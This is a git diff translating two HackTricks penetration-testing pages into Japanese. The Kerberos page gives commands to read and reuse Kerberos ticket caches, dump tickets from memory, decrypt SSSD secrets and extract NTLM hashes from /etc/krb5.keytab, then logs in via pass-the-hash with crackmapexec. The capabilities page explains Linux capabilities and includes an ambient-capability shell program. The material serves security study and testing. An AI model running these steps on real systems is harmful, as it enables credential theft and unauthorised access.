+このページでは、Linuxホスト内のさまざまな場所で**Kerberosチケットを見つける**ことができます。次のページでは、これらのCCacheチケット形式をKirbi形式(Windowsで使用する形式)に変換する方法や、PTT攻撃を実行する方法について学ぶことができます: {% content-ref url="../../windows-hardening/active-directory-methodology/pass-the-ticket.md" %} [pass-the-ticket.md](../../windows-hardening/active-directory-methodology/pass-the-ticket.md) {% endcontent-ref %} -### CCACHE ticket reuse from /tmp +### /tmpからのCCACHEチケットの再利用 -> When tickets are set to be stored as a file on disk, the standard format and type is a CCACHE file. This is a simple binary file format to store Kerberos credentials. These files are typically stored in /tmp and scoped with 600 permissions - -List the current ticket used for authentication with `env | grep KRB5CCNAME`. The format is portable and the ticket can be **reused by setting the environment variable** with `export KRB5CCNAME=/tmp/ticket.ccache`. Kerberos ticket name format is `krb5cc_%{uid}` where uid is the user UID. +> チケットがディスク上のファイルとして保存される場合、標準の形式とタイプはCCACHEファイルです。これは、Kerberos資格情報を保存するためのシンプルなバイナリファイル形式です。これらのファイルは通常、/tmpに保存され、600のアクセス許可でスコープが設定されます。 +`env | grep KRB5CCNAME`を使用して、現在の認証に使用されているチケットをリストします。形式はポータブルであり、環境変数を設定することでチケットを**再利用**できます。`export KRB5CCNAME=/tmp/ticket.ccache`として環境変数を設定します。Kerberosチケット名の形式は`krb5cc_%{uid}`であり、uidはユーザーのUIDです。 ```bash ls /tmp/ | grep krb5cc krb5cc_1000 @@ -60,11 +59,9 @@ krb5cc_1569901115 export KRB5CCNAME=/tmp/krb5cc_1569901115 ``` +### キーリングからのCCACHEチケットの再利用 -### CCACHE ticket reuse from keyring - -Processes may **store kerberos tickets inside their memory**, this tool can be useful to extract those tickets (ptrace protection should be disabled in the machine `/proc/sys/kernel/yama/ptrace_scope`): [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) - +プロセスは**自身のメモリ内にKerberosチケットを保存**することがあります。このツールは、それらのチケットを抽出するのに役立ちます(マシンの`/proc/sys/kernel/yama/ptrace_scope`でptrace保護が無効になっている必要があります): [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) ```bash # Configuration and build git clone https://github.com/TarlogicSecurity/tickey @@ -82,70 +79,57 @@ make CONF=Release [+] Successful injection at process 25820 of trex[1120601113],look for tickets in /tmp/__krb_1120601113.ccache [X] [uid:0] Error retrieving tickets ``` +### SSSD KCMからのCCACHEチケットの再利用 -### CCACHE ticket reuse from SSSD KCM - -SSSD maintains a copy of the database at the path `/var/lib/sss/secrets/secrets.ldb`. The corresponding key is stored as a hidden file at the path `/var/lib/sss/secrets/.secrets.mkey`. By default, the key is only readable if you have **root** permissions. - -Invoking \*\*`SSSDKCMExtractor` \*\* with the --database and --key parameters will parse the database and **decrypt the secrets**. +SSSDは、パス`/var/lib/sss/secrets/secrets.ldb`にデータベースのコピーを保持しています。対応するキーは、パス`/var/lib/sss/secrets/.secrets.mkey`に隠しファイルとして保存されています。デフォルトでは、このキーは**root**権限を持っている場合にのみ読み取ることができます。 +`SSSDKCMExtractor`を`--database`と`--key`パラメータと共に呼び出すと、データベースを解析し、**秘密情報を復号化**します。 ```bash git clone https://github.com/fireeye/SSSDKCMExtractor python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey ``` +**クレデンシャルキャッシュのKerberosブロブは、Mimikatz/Rubeusに渡すことができる使用可能なKerberos CCacheファイルに変換できます。** -The **credential cache Kerberos blob can be converted into a usable Kerberos CCache** file that can be passed to Mimikatz/Rubeus. - -### CCACHE ticket reuse from keytab - +### キータブからのCCACHEチケットの再利用 ```bash git clone https://github.com/its-a-feature/KeytabParser python KeytabParser.py /etc/krb5.keytab klist -k /etc/krb5.keytab ``` +### /etc/krb5.keytabからアカウントを抽出する -### Extract accounts from /etc/krb5.keytab - -The service keys used by services that run as root are usually stored in the keytab file **`/etc/krb5.keytab`**. This service key is the equivalent of the service's password, and must be kept secure. - -Use [`klist`](https://adoptopenjdk.net/?variant=openjdk13\&jvmVariant=hotspot) to read the keytab file and parse its content. The key that you see when the [key type](https://cwiki.apache.org/confluence/display/DIRxPMGT/Kerberos+EncryptionKey) is 23 is the actual **NT Hash of the user**. +通常、rootとして実行されるサービスのサービスキーは、**`/etc/krb5.keytab`**というキータブファイルに保存されます。このサービスキーは、サービスのパスワードと同等であり、安全に保管する必要があります。 +[`klist`](https://adoptopenjdk.net/?variant=openjdk13\&jvmVariant=hotspot)を使用してキータブファイルを読み取り、その内容を解析します。キータイプが23の場合に表示されるキーは、実際の**ユーザーのNTハッシュ**です。 ``` klist.exe -t -K -e -k FILE:C:\Users\User\downloads\krb5.keytab [...] [26] Service principal: host/COMPUTER@DOMAIN - KVNO: 25 - Key type: 23 - Key: 31d6cfe0d16ae931b73c59d7e0c089c0 - Time stamp: Oct 07, 2019 09:12:02 +KVNO: 25 +Key type: 23 +Key: 31d6cfe0d16ae931b73c59d7e0c089c0 +Time stamp: Oct 07, 2019 09:12:02 [...] ``` - -On Linux you can use [`KeyTabExtract`](https://github.com/sosdave/KeyTabExtract): we want RC4 HMAC hash to reuse the NLTM hash. - +Linuxでは、[`KeyTabExtract`](https://github.com/sosdave/KeyTabExtract)を使用することができます。RC4 HMACハッシュを再利用するために必要です。 ```bash -python3 keytabextract.py krb5.keytab +python3 keytabextract.py krb5.keytab [!] No RC4-HMAC located. Unable to extract NTLM hashes. # No luck [+] Keytab File successfully imported. - REALM : DOMAIN - SERVICE PRINCIPAL : host/computer.domain - NTLM HASH : 31d6cfe0d16ae931b73c59d7e0c089c0 # Lucky +REALM : DOMAIN +SERVICE PRINCIPAL : host/computer.domain +NTLM HASH : 31d6cfe0d16ae931b73c59d7e0c089c0 # Lucky ``` - -On **macOS** you can use [**`bifrost`**](https://github.com/its-a-feature/bifrost). - +**macOS**では、[**`bifrost`**](https://github.com/its-a-feature/bifrost)を使用することができます。 ```bash ./bifrost -action dump -source keytab -path test ``` - -Connect to the machine using the account and the hash with CME. - +CMEを使用して、アカウントとハッシュを使用してマシンに接続します。 ```bash $ crackmapexec 10.XXX.XXX.XXX -u 'COMPUTER$' -H "31d6cfe0d16ae931b73c59d7e0c089c0" -d "DOMAIN" -CME 10.XXX.XXX.XXX:445 HOSTNAME-01 [+] DOMAIN\COMPUTER$ 31d6cfe0d16ae931b73c59d7e0c089c0 +CME 10.XXX.XXX.XXX:445 HOSTNAME-01 [+] DOMAIN\COMPUTER$ 31d6cfe0d16ae931b73c59d7e0c089c0 ``` - -## References +## 参考文献 * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory) @@ -153,10 +137,10 @@ CME 10.XXX.XXX.XXX:445 HOSTNAME-01 [+] DOMAIN\COMPUTER$ 31d6cfe0d16ae ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +* **サイバーセキュリティ企業**で働いていますか? HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で私を**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 diff --git a/linux-hardening/privilege-escalation/linux-capabilities.md b/linux-hardening/privilege-escalation/linux-capabilities.md index f7baa736a..822378d2b 100644 --- a/linux-hardening/privilege-escalation/linux-capabilities.md +++ b/linux-hardening/privilege-escalation/linux-capabilities.md @@ -4,71 +4,68 @@ ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* サイバーセキュリティ会社で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、最新バージョンのPEASSにアクセスしたいですか、またはHackTricksをPDFでダウンロードしたいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション +* [**公式のPEASS&HackTricks swag**](https://peass.creator-spring.com)を手に入れましょう +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** +* ハッキングのトリックを共有するには、[**hacktricks repo**](https://github.com/carlospolop/hacktricks)と[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。
-​​​​​​​​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.\\ +​​​​​​​​​[**RootedCON**](https://www.rootedcon.com/)は、**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの一つです。技術的な知識を促進することを目的として、この会議はあらゆる分野の技術とサイバーセキュリティの専門家のための活気ある交流の場です。 {% embed url="https://www.rootedcon.com/" %} -## Why capabilities? +## なぜcapabilitiesを使用するのか? -Linux capabilities **provide a subset of the available root privileges** to a process. This effectively breaks up root privileges into smaller and distinctive units. Each of these units can then be independently be granted to processes. This way the full set of privileges is reduced and decreasing the risks of exploitation. +Linuxのcapabilitiesは、プロセスに利用可能なroot権限の一部を提供します。これにより、root権限がより小さく独立した単位に分割されます。それぞれの単位は個別にプロセスに付与することができます。これにより、特権のセットが減少し、攻撃リスクが低下します。 -To better understand how Linux capabilities work, let’s have a look first at the problem it tries to solve. +Linuxのcapabilitiesがどのように機能するかをよりよく理解するために、まずは解決しようとしている問題を見てみましょう。 -Let’s assume we are running a process as a normal user. This means we are non-privileged. We can only access data that owned by us, our group, or which is marked for access by all users. At some point in time, our process needs a little bit more permissions to fulfill its duties, like opening a network socket. The problem is that normal users can not open a socket, as this requires root permissions. +通常のユーザーとしてプロセスを実行していると仮定しましょう。これは特権を持たないことを意味します。所有者、グループ、またはすべてのユーザーによってアクセスが許可されているデータにのみアクセスできます。ある時点で、プロセスはネットワークソケットを開くなど、少し多くの権限が必要になる場合があります。問題は、通常のユーザーはソケットを開くことができないということです。なぜなら、これにはroot権限が必要だからです。 -## Capabilities Sets +## Capabilitiesセット -**Inherited capabilities** +**継承されたcapabilities** -**CapEff**: The _effective_ capability set represents all capabilities the process is using at the moment (this is the actual set of capabilities that the kernel uses for permission checks). For file capabilities the effective set is in fact a single bit indicating whether the capabilities of the permitted set will be moved to the effective set upon running a binary. This makes it possible for binaries that are not capability-aware to make use of file capabilities without issuing special system calls. +**CapEff**: _有効な_ capabilityセットは、プロセスが現在使用しているすべてのcapabilitiesを表します(これは、カーネルが許可チェックに使用するcapabilitiesの実際のセットです)。ファイルcapabilitiesの場合、有効なセットは、バイナリの実行時に許可されたセットのcapabilitiesが有効なセットに移動するかどうかを示す単一のビットです。これにより、capabilitiesを認識していないバイナリでも、特別なシステムコールを発行せずにファイルcapabilitiesを使用することができます。 -**CapPrm**: (_Permitted_) This is a superset of capabilities that the thread may add to either the thread permitted or thread inheritable sets. The thread can use the capset() system call to manage capabilities: It may drop any capability from any set, but only add capabilities to its thread effective and inherited sets that are in its thread permitted set. Consequently it cannot add any capability to its thread permitted set, unless it has the cap\_setpcap capability in its thread effective set. +**CapPrm**: (_許可された_) これは、スレッドがスレッドの許可されたセットまたはスレッドの継承可能なセットに追加できるcapabilitiesのスーパーセットです。スレッドはcapset()システムコールを使用してcapabilitiesを管理できます。スレッドは任意のセットから任意のcapabilityを削除できますが、スレッドの許可されたセットに存在するcapabilitiesのみをスレッドの有効なセットと継承可能なセットに追加できます。したがって、スレッドの有効なセットにcap\_setpcap capabilityがある場合を除き、スレッドの許可されたセットには任意のcapabilityを追加できません。 -**CapInh**: Using the _inherited_ set all capabilities that are allowed to be inherited from a parent process can be specified. This prevents a process from receiving any capabilities it does not need. This set is preserved across an `execve` and is usually set by a process _receiving_ capabilities rather than by a process that’s handing out capabilities to its children. +**CapInh**: _継承_ セットを使用すると、親プロセスから継承できるcapabilitiesを指定できます。これにより、プロセスが必要のないcapabilitiesを受け取ることを防ぐことができます。このセットは`execve`を介して保持され、通常は子プロセスにcapabilitiesを提供するプロセスによって設定されます。 -**CapBnd**: With the _bounding_ set it’s possible to restrict the capabilities a process may ever receive. Only capabilities that are present in the bounding set will be allowed in the inheritable and permitted sets. +**CapBnd**: _バウンディング_ セットを使用すると、プロセスが受け取ることができるcapabilitiesを制限することができます。バウンディングセットに存在するcapabilitiesのみが、継承可能なセットと許可されたセットで許可されます。 -**CapAmb**: The _ambient_ capability set applies to all non-SUID binaries without file capabilities. It preserves capabilities when calling `execve`. However, not all capabilities in the ambient set may be preserved because they are being dropped in case they are not present in either the inheritable or permitted capability set. This set is preserved across `execve` calls. +**CapAmb**: _アンビエント_ capabilityセットは、ファイルcapabilitiesを持たないすべての非SUIDバイナリに適用されます。これは、`execve`を呼び出す際にcapabilitiesを保持します。ただし、アンビエントセットのすべてのcapabilitiesが保持されるわけではありません。なぜなら、継承可能なセットまたは許可されたcapabilityセットに存在しない場合、capabilitiesが削除されるためです。このセットは`execve`呼び出しを介して保持されます。 -For a detailed explanation of the difference between capabilities in threads and files and how are the capabilities passed to threads read the following pages: +スレッドとファイルのcapabilitiesの違いと、capabilitiesがスレッドにどのように渡されるかの詳細な説明については、次のページを参照してください: * [https://blog.container-solutions.com/linux-capabilities-why-they-exist-and-how-they-work](https://blog.container-solutions.com/linux-capabilities-why-they-exist-and-how-they-work) * [https://blog.ploetzli.ch/2014/understanding-linux-capabilities/](https://blog.ploetzli.ch/2014/understanding-linux-capabilities/) -## Processes & Binaries Capabilities +## プロセスとバイナリのCapabilities -### Processes Capabilities +### プロセスのCapabilities -To see the capabilities for a particular process, use the **status** file in the /proc directory. As it provides more details, let’s limit it only to the information related to Linux capabilities.\ -Note that for all running processes capability information is maintained per thread, for binaries in the file system it’s stored in extended attributes. +特定のプロセスのcapabilitiesを確認するには、/procディレクトリの**status**ファイルを使用します。詳細情報を提供するため、Linuxのcapabilitiesに関連する情報に限定します。\ +実行中のすべてのプロセスについて、capabilities情報はスレッドごとに保持されます。ファイルシステムのバイナリについては、拡張属性に格納されます。 -You can find the capabilities defined in /usr/include/linux/capability.h - -You can find the capabilities of the current process in `cat /proc/self/status` or doing `capsh --print` and of other users in `/proc//status` +capabilitiesの定義は/usr/include/linux/capability.hにあります。 +現在のプロセスのcapabilitiesは`cat /proc/self/status`または`capsh --print`で、他のユーザーのcapabilitiesは`/proc//status`で確認できます。 ```bash cat /proc/1234/status | grep Cap cat /proc/$$/status | grep Cap #This will print the capabilities of the current process ``` +このコマンドは、ほとんどのシステムで5行を返すはずです。 -This command should return 5 lines on most systems. - -* CapInh = Inherited capabilities -* CapPrm = Permitted capabilities -* CapEff = Effective capabilities -* CapBnd = Bounding set -* CapAmb = Ambient capabilities set - +* CapInh = 継承された機能 +* CapPrm = 許可された機能 +* CapEff = 有効な機能 +* CapBnd = バウンディングセット +* CapAmb = アンビエント機能セット ```bash #These are the typical capabilities of a root owned process (all) CapInh: 0000000000000000 @@ -77,16 +74,12 @@ CapEff: 0000003fffffffff CapBnd: 0000003fffffffff CapAmb: 0000000000000000 ``` - -These hexadecimal numbers don’t make sense. Using the capsh utility we can decode them into the capabilities name. - +これらの16進数は意味をなしません。capshユーティリティを使用して、それらを機能名にデコードすることができます。 ```bash capsh --decode=0000003fffffffff 0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37 ``` - -Lets check now the **capabilities** used by `ping`: - +さあ、今度は`ping`が使用する**capabilities**を確認しましょう。 ```bash cat /proc/9491/status | grep Cap CapInh: 0000000000000000 @@ -98,15 +91,11 @@ CapAmb: 0000000000000000 capsh --decode=0000000000003000 0x0000000000003000=cap_net_admin,cap_net_raw ``` - -Although that works, there is another and easier way. To see the capabilities of a running process, simply use the **getpcaps** tool followed by its process ID (PID). You can also provide a list of process IDs. - +それは機能しますが、別のより簡単な方法もあります。実行中のプロセスの機能を確認するには、単に**getpcaps**ツールを使用し、その後にプロセスID(PID)を指定します。複数のプロセスIDのリストも指定できます。 ```bash getpcaps 1234 ``` - -Lets check here the capabilities of `tcpdump` after having giving the binary enough capabilities (`cap_net_admin` and `cap_net_raw`) to sniff the network (_tcpdump is running in process 9562_): - +以下は、`tcpdump`の機能を確認します。バイナリに十分な機能(`cap_net_admin`と`cap_net_raw`)を与えて、ネットワークをスニッフすることができます(_tcpdumpはプロセス9562で実行されています_): ```bash #The following command give tcpdump the needed capabilities to sniff traffic $ setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump @@ -124,53 +113,47 @@ CapAmb: 0000000000000000 $ capsh --decode=0000000000003000 0x0000000000003000=cap_net_admin,cap_net_raw ``` +与えられた機能は、バイナリの機能を取得する2つの方法の結果に対応しています。\ +_getpcaps_ツールは、特定のスレッドの利用可能な機能をクエリするために**capget()**システムコールを使用します。このシステムコールでは、PIDを提供するだけでより多くの情報を取得できます。 -As you can see the given capabilities corresponds with the results of the 2 ways of getting the capabilities of a binary.\ -The _getpcaps_ tool uses the **capget()** system call to query the available capabilities for a particular thread. This system call only needs to provide the PID to obtain more information. - -### Binaries Capabilities - -Binaries can have capabilities that can be used while executing. For example, it's very common to find `ping` binary with `cap_net_raw` capability: +### バイナリの機能 +バイナリは、実行中に使用できる機能を持つことがあります。たとえば、`ping`バイナリには`cap_net_raw`機能が非常に一般的に存在します。 ```bash getcap /usr/bin/ping /usr/bin/ping = cap_net_raw+ep ``` - -You can **search binaries with capabilities** using: +次のコマンドを使用して、**機能を持つバイナリを検索**できます。 ```bash getcap -r / 2>/dev/null ``` +```bash +getcap -r / 2>/dev/null +``` +### capshを使用して権限を削除する -### Dropping capabilities with capsh - -If we drop the CAP\_NET\_RAW capabilities for _ping_, then the ping utility should no longer work. - +CAP\_NET\_RAWの権限を_ping_から削除すると、pingユーティリティはもはや機能しなくなります。 ```bash capsh --drop=cap_net_raw --print -- -c "tcpdump" ``` - -Besides the output of _capsh_ itself, the _tcpdump_ command itself should also raise an error. +_capsh_自体の出力に加えて、_tcpdump_コマンド自体もエラーを発生させるべきです。 > /bin/bash: /usr/sbin/tcpdump: Operation not permitted -The error clearly shows that the ping command is not allowed to open an ICMP socket. Now we know for sure that this works as expected. +このエラーは、pingコマンドがICMPソケットを開くことが許可されていないことを明確に示しています。これで、期待どおりに動作することが確認できました。 -### Remove Capabilities - -You can remove capabilities of a binary with +### キャパビリティの削除 +バイナリのキャパビリティを削除することができます。 ```bash setcap -r
``` +## ユーザーの権限 -## User Capabilities - -Apparently **it's possible to assign capabilities also to users**. This probably means that every process executed by the user will be able to use the users capabilities.\ -Base on on [this](https://unix.stackexchange.com/questions/454708/how-do-you-add-cap-sys-admin-permissions-to-user-in-centos-7), [this ](http://manpages.ubuntu.com/manpages/bionic/man5/capability.conf.5.html)and [this ](https://stackoverflow.com/questions/1956732/is-it-possible-to-configure-linux-capabilities-per-user)a few files new to be configured to give a user certain capabilities but the one assigning the capabilities to each user will be `/etc/security/capability.conf`.\ -File example: - +おそらく、**ユーザーにも権限を割り当てることができる**ようです。これはおそらく、ユーザーが実行するすべてのプロセスがユーザーの権限を使用できることを意味します。\ +[こちら](https://unix.stackexchange.com/questions/454708/how-do-you-add-cap-sys-admin-permissions-to-user-in-centos-7)、[こちら](http://manpages.ubuntu.com/manpages/bionic/man5/capability.conf.5.html)、および[こちら](https://stackoverflow.com/questions/1956732/is-it-possible-to-configure-linux-capabilities-per-user)を参考に、特定の権限をユーザーに割り当てるためにいくつかのファイルを設定する必要がありますが、各ユーザーに権限を割り当てるためのファイルは `/etc/security/capability.conf` です。\ +ファイルの例: ```bash # Simple cap_sys_ptrace developer @@ -184,25 +167,24 @@ cap_net_admin,cap_net_raw jrnetadmin # Combining names and numerics cap_sys_admin,22,25 jrsysadmin ``` +## 環境の機能 -## Environment Capabilities - -Compiling the following program it's possible to **spawn a bash shell inside an environment that provides capabilities**. +以下のプログラムをコンパイルすると、**機能を提供する環境内でbashシェルを起動することができます**。 {% code title="ambient.c" %} ```c /* - * Test program for the ambient capabilities - * - * compile using: - * gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c - * Set effective, inherited and permitted capabilities to the compiled binary - * sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient - * - * To get a shell with additional caps that can be inherited do: - * - * ./ambient /bin/bash - */ +* Test program for the ambient capabilities +* +* compile using: +* gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c +* Set effective, inherited and permitted capabilities to the compiled binary +* sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient +* +* To get a shell with additional caps that can be inherited do: +* +* ./ambient /bin/bash +*/ #include #include @@ -213,114 +195,107 @@ Compiling the following program it's possible to **spawn a bash shell inside an #include static void set_ambient_cap(int cap) { - int rc; - capng_get_caps_process(); - rc = capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap); - if (rc) { - printf("Cannot add inheritable cap\n"); - exit(2); - } - capng_apply(CAPNG_SELECT_CAPS); - /* Note the two 0s at the end. Kernel checks for these */ - if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0)) { - perror("Cannot set cap"); - exit(1); - } +int rc; +capng_get_caps_process(); +rc = capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap); +if (rc) { +printf("Cannot add inheritable cap\n"); +exit(2); +} +capng_apply(CAPNG_SELECT_CAPS); +/* Note the two 0s at the end. Kernel checks for these */ +if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0)) { +perror("Cannot set cap"); +exit(1); +} } void usage(const char * me) { - printf("Usage: %s [-c caps] new-program new-args\n", me); - exit(1); +printf("Usage: %s [-c caps] new-program new-args\n", me); +exit(1); } int default_caplist[] = { - CAP_NET_RAW, - CAP_NET_ADMIN, - CAP_SYS_NICE, - -1 +CAP_NET_RAW, +CAP_NET_ADMIN, +CAP_SYS_NICE, +-1 }; int * get_caplist(const char * arg) { - int i = 1; - int * list = NULL; - char * dup = strdup(arg), * tok; - for (tok = strtok(dup, ","); tok; tok = strtok(NULL, ",")) { - list = realloc(list, (i + 1) * sizeof(int)); - if (!list) { - perror("out of memory"); - exit(1); - } - list[i - 1] = atoi(tok); - list[i] = -1; - i++; - } - return list; +int i = 1; +int * list = NULL; +char * dup = strdup(arg), * tok; +for (tok = strtok(dup, ","); tok; tok = strtok(NULL, ",")) { +list = realloc(list, (i + 1) * sizeof(int)); +if (!list) { +perror("out of memory"); +exit(1); +} +list[i - 1] = atoi(tok); +list[i] = -1; +i++; +} +return list; } int main(int argc, char ** argv) { - int rc, i, gotcaps = 0; - int * caplist = NULL; - int index = 1; // argv index for cmd to start - if (argc < 2) - usage(argv[0]); - if (strcmp(argv[1], "-c") == 0) { - if (argc <= 3) { - usage(argv[0]); - } - caplist = get_caplist(argv[2]); - index = 3; - } - if (!caplist) { - caplist = (int * ) default_caplist; - } - for (i = 0; caplist[i] != -1; i++) { - printf("adding %d to ambient list\n", caplist[i]); - set_ambient_cap(caplist[i]); - } - printf("Ambient forking shell\n"); - if (execv(argv[index], argv + index)) - perror("Cannot exec"); - return 0; +int rc, i, gotcaps = 0; +int * caplist = NULL; +int index = 1; // argv index for cmd to start +if (argc < 2) +usage(argv[0]); +if (strcmp(argv[1], "-c") == 0) { +if (argc <= 3) { +usage(argv[0]); +} +caplist = get_caplist(argv[2]); +index = 3; +} +if (!caplist) { +caplist = (int * ) default_caplist; +} +for (i = 0; caplist[i] != -1; i++) { +printf("adding %d to ambient list\n", caplist[i]); +set_ambient_cap(caplist[i]); +} +printf("Ambient forking shell\n"); +if (execv(argv[index], argv + index)) +perror("Cannot exec"); +return 0; } ``` {% endcode %} - ```bash gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient ./ambient /bin/bash ``` - -Inside the **bash executed by the compiled ambient binary** it's possible to observe the **new capabilities** (a regular user won't have any capability in the "current" section). - +**コンパイルされた環境バイナリによって実行されるbash**内で、**新しい機能**を観察することができます(通常のユーザーは「現在の」セクションには何の機能も持っていません)。 ```bash capsh --print Current: = cap_net_admin,cap_net_raw,cap_sys_nice+eip ``` - {% hint style="danger" %} -You can **only add capabilities that are present** in both the permitted and the inheritable sets. +許可されたセットと継承可能なセットの両方に存在する機能のみを追加できます。 {% endhint %} -### Capability-aware/Capability-dumb binaries +### 機能対応/機能非対応のバイナリ -The **capability-aware binaries won't use the new capabilities** given by the environment, however the **capability dumb binaries will us**e them as they won't reject them. This makes capability-dumb binaries vulnerable inside a special environment that grant capabilities to binaries. +**機能対応のバイナリは、環境で与えられた新しい機能を使用しません**が、**機能非対応のバイナリは**それらを拒否しないため、使用します。これにより、機能非対応のバイナリは、機能をバイナリに付与する特別な環境内で脆弱になります。 -## Service Capabilities - -By default a **service running as root will have assigned all the capabilities**, and in some occasions this may be dangerous.\ -Therefore, a **service configuration** file allows to **specify** the **capabilities** you want it to have, **and** the **user** that should execute the service to avoid running a service with unnecessary privileges: +## サービスの機能 +デフォルトでは、**rootとして実行されるサービスにはすべての機能が割り当てられます**が、場合によってはこれは危険です。\ +したがって、**サービスの設定**ファイルでは、サービスが不必要な特権で実行されるのを避けるために、持っているべき**機能**と**実行するユーザー**を**指定**することができます。 ```bash [Service] User=bob AmbientCapabilities=CAP_NET_BIND_SERVICE ``` +## Dockerコンテナの機能 -## Capabilities in Docker Containers - -By default Docker assigns a few capabilities to the containers. It's very easy to check which capabilities are these by running: - +デフォルトでは、Dockerはコンテナにいくつかの機能を割り当てます。これらの機能を確認するには、次のコマンドを実行するだけです。 ```bash docker run --rm -it r.j3ss.co/amicontained bash Capabilities: - BOUNDING -> chown dac_override fowner fsetid kill setgid setuid setpcap net_bind_service net_raw sys_chroot mknod audit_write setfcap +BOUNDING -> chown dac_override fowner 